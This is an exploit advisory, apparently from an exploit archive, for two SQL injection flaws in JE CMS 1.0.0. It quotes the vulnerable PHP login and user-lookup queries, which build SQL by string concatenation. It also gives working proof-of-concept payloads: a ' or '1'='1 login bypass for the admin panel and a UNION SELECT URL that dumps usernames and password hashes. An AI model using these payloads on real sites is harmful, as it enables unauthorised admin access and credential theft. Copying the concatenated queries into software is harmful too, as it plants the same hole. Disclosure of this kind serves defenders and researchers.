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[webapps / 0day] - JE CMS 1.0.0 Bypass Authentication by SQL

Posted on 28 September 2010

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JE CMS 1.0.0 Bypass Authentication by SQL Injection Vulnerability
=================================================================


Title  : JE CMS 1.0.0 Bypass Authentication by SQL Injection Vulnerability
Affected Version : JE CMS &lt;= 1.0.0
Vendor  Site   : joenasejes.cz.cc
Discovery : abysssec.com
   
  
Vulnerabilites :
 
1. Bypass Authentication by SQL Injection Vulnerability
 
in administratorlogin.php page, lines 16-20:
if (isset($_REQUEST[&#039;username&#039;])) {
    $username = $_REQUEST[&#039;username&#039;];
    $password = $_REQUEST[&#039;password&#039;];
    $result = $core-&gt;userLogin();
     
     
userLogin() function is in administratorlibraryfunctions.php. in lines 129-139:
        if ($userName == &#039;&#039; || $password == &#039;&#039;) {
            $errorMessage = JE_MISMATCH_USERNAME_PASSWORD;
        }  else {
            // check the database and see if the username and password combo do match
            $sql = &quot;SELECT userid
                    FROM users
                    WHERE username = &#039;&quot;.$userName.&quot;&#039;        // vulnerability is here
                    AND password = &#039;&quot;.$this-&gt;getHash($password).&quot;&#039;   // vulnerability is here
                    AND usertype = 1
                    AND block = 0&quot;;
            $result = $this-&gt;JEQuery($sql);
 
POC:
 
in administrator/login.php:
 
username: admin&#039; or &#039;1&#039;=&#039;1
password: admin&#039; or &#039;1&#039;=&#039;1
 
2. SQL injection in administratorindex.php on &quot;userid&quot; parameter:
 
in administratorindex.php file line 12:
$userid         =   $_REQUEST[&#039;userid&#039;];
lines 52-53:
    case &#039;edituser&#039; :
        $user = $core-&gt;getUser($userid);
         
getUser function is in administratorlibraryfunctions.php file. lines 578-583:
 
    function getUser($id){
         
        $sql = &quot;SELECT *
                FROM users
                WHERE userid = &quot;.$id;   // vulnerability is here
        $result = $this-&gt;JEQuery($sql);
 
POC:
 
http://site/joenas-ejes/administrator/index.php?jepage=edituser&amp;userid=1 and 1=2 UNION SELECT 1,2,3,4,group_concat(username,0x3a,password),6,7,8,9,10,11,12 from users--


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-09-28]</pre></body></html>

 

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